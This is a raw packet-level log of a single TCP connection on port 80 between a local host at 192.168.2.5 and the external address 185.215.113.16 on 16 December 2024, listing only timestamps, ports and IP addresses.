Dec 16, 2024 15:25:33.128197908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.128245115 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.128277063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.129030943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.129084110 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.129158020 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.129980087 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.130034924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.130222082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.130706072 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.130757093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.131160021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.131576061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.131599903 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.131623983 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.132349014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.132376909 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.132425070 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.133311033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.133332014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.133356094 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.134046078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.134098053 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.134108067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.134828091 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.134846926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.134871960 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.135724068 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.135746956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.135770082 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.136535883 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.136552095 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.136584044 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.137507915 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.137528896 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.137552977 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.138120890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.138168097 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.138196945 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.139097929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.139117956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.139139891 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.139775991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.139822006 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.140033007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.140580893 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.140625954 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.140670061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.141635895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.141652107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.141690016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.142452955 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.142472982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.142501116 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.143183947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.143234968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.143237114 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.144023895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.144076109 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.144151926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.144870043 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.144922018 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.144948959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.145720959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.145745993 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.145790100 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.146667004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.146724939 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.146761894 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.147286892 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.147334099 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.147368908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.148199081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.148226023 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.148248911 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.149118900 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.149137974 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.149173975 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.149792910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.149838924 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.149919033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.150269985 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.150923014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.150938034 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.151031017 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.151624918 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.151705980 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.151779890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.152441978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.152491093 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.152621031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.153234959 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.153275967 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.153347015 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.153940916 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.153985023 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.154052019 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.154855967 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.154882908 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.155271053 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.155647039 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.155694962 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.155925989 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.156485081 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.156615973 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.156899929 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.157521009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.157536983 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.157730103 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.174804926 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.185748100 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.556816101 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.556849957 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.556874037 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.556885004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.556905031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.556946993 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.556953907 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.556966066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.556972027 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557001114 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.557025909 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.557223082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557235956 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557257891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557298899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.557400942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557415009 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557434082 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557454109 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557459116 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.557466984 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557477951 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.557506084 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.557563066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557574987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557604074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557620049 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557621002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.557640076 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.557677984 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.558365107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558377981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558401108 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558404922 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.558413029 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558434963 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558443069 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.558446884 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558476925 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.558520079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558532000 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558556080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558574915 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.558604002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.558665991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558681965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558705091 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558720112 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558747053 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.558753014 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.558775902 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559488058 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559504986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559525013 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559536934 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559551001 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559559107 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559570074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559587002 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559600115 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559606075 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559613943 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559640884 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559654951 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559667110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559686899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559751987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559782028 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559794903 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559859991 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559878111 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559916019 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.559952021 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559964895 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.559994936 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.560010910 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560018063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560086966 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.560756922 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560775995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560787916 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560810089 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560839891 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.560874939 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560890913 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.560935020 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.561656952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.561671019 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.561729908 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.561741114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.561753035 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.561840057 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.562397003 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.562410116 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.562470913 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.562488079 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.562499046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.562522888 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.562566042 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.562587976 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.562629938 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.563303947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.563330889 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.563354969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.563366890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.563374043 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.563399076 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.563435078 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.563467979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.563498974 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.564174891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.564188004 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.564215899 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.564331055 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.564344883 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.564388990 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.564414024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.564430952 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.564451933 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.565179110 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.565206051 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.565241098 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.565273046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.565284014 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.565305948 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.565325975 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.565356016 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.565994978 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566065073 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566076994 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566107035 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.566145897 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566169024 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566201925 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.566826105 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566880941 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.566900969 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566967964 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.566982031 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567053080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567054987 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.567065001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567101955 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.567764044 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567828894 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.567842007 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567873001 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567888975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567930937 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.567959070 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.567980051 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.568022013 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.568703890 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.568728924 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.568773985 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.568804979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.568818092 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.568855047 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.572937965 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.572952986 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.572981119 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.572992086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573014975 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573023081 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.573085070 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.573110104 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573122025 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573137999 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573148966 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573156118 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573160887 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573167086 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573170900 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573182106 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.573250055 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.573822021 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.573942900 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573960066 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.573978901 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574002981 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574008942 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574027061 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574038982 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574039936 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574063063 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574078083 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574105024 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574112892 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574125051 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574126005 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574146032 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574163914 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574182987 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574203968 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574220896 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574867010 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574878931 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574899912 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574911118 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574913979 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574939966 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.574940920 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574954033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574964046 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574971914 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574978113 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574984074 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574989080 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.574995995 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575006962 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575048923 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.575892925 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575906038 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575928926 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575943947 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575958967 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.575962067 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575974941 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.575984001 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.575997114 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.576010942 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.576016903 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.576534033 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.576553106 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.576580048 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.576601028 CET	49742	80	192.168.2.5	185.215.113.16
Dec 16, 2024 15:25:33.576627970 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.576639891 CET	80	49742	185.215.113.16	192.168.2.5
Dec 16, 2024 15:25:33.576683998 CET	49742	80	192.168.2.5	185.215.113.16
